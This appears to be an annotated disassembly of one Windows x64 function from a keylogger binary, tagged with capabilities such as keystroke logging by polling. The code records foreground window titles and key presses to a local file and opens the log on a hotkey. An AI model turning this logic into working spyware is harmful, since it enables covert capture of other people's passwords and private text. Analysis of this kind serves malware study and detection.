Function at 0x140001700
Capabilities:
Create process on windows
Get graphical window text
Log keystrokes via polling
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
lea rbp, [0x1400100a0]
lea r12, [0x1400101a0]
mov dword [rsp + 0x70], ecx
mov rbx, rdx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdx, rbp
mov r8d, 0x100
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rdx, r12
mov rcx, rbp
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000179b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__ctime64]
lea rdx, [0x14000b050]
mov rcx, rbx
mov rdi, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
lea rdx, str._n_n_s_t_t_s
mov r9, rdi
mov r8, rbp
mov rsi, rax
mov rcx, rax
call fcn.1400016d0
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rdx, rbp
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov rsi, qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x11
call rsi
test ax, ax
js 0x140001820
mov ecx, 0x11
call rsi
test ax, ax
js 0x140001800
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
lea rdx, [0x14000b050]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
cmp dword [rsp + 0x70], 0x28
mov rbx, rax
ja case.0x1400017f4.0
mov eax, dword [rsp + 0x70]
lea rdx, [0x14000b0f4]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov ecx, 0x10
call rsi
test ax, ax
jns 0x1400017ba
mov ecx, 0x51
call rsi
test ax, ax
jns 0x1400017ba
xor ecx, ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, 0x10
call rsi
test ax, ax
jns 0x1400017ae
mov ecx, 0x47
call rsi
test ax, ax
jns 0x1400017ae
mov dword [rsp + 0x28], 5
xor r9d, r9d
lea r8, str.log.csv
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400017ae
lea r8, [rsp + 0x70]
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r8, str._LButton_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._BACK_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._TAB_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._RETURN_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._SHIFT_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._CTRL_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._ALT_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._CAPS_LOCK_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._ESCAPE_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._SPACE_KEY_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._LEFT_ARROW_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._LEFT_UP_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._LEFT_RIGHT_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884
lea r8, str._LEFT_DOWN_
lea rdx, [0x14000b071]
mov rcx, rbx
call fcn.1400016d0
jmp 0x140001884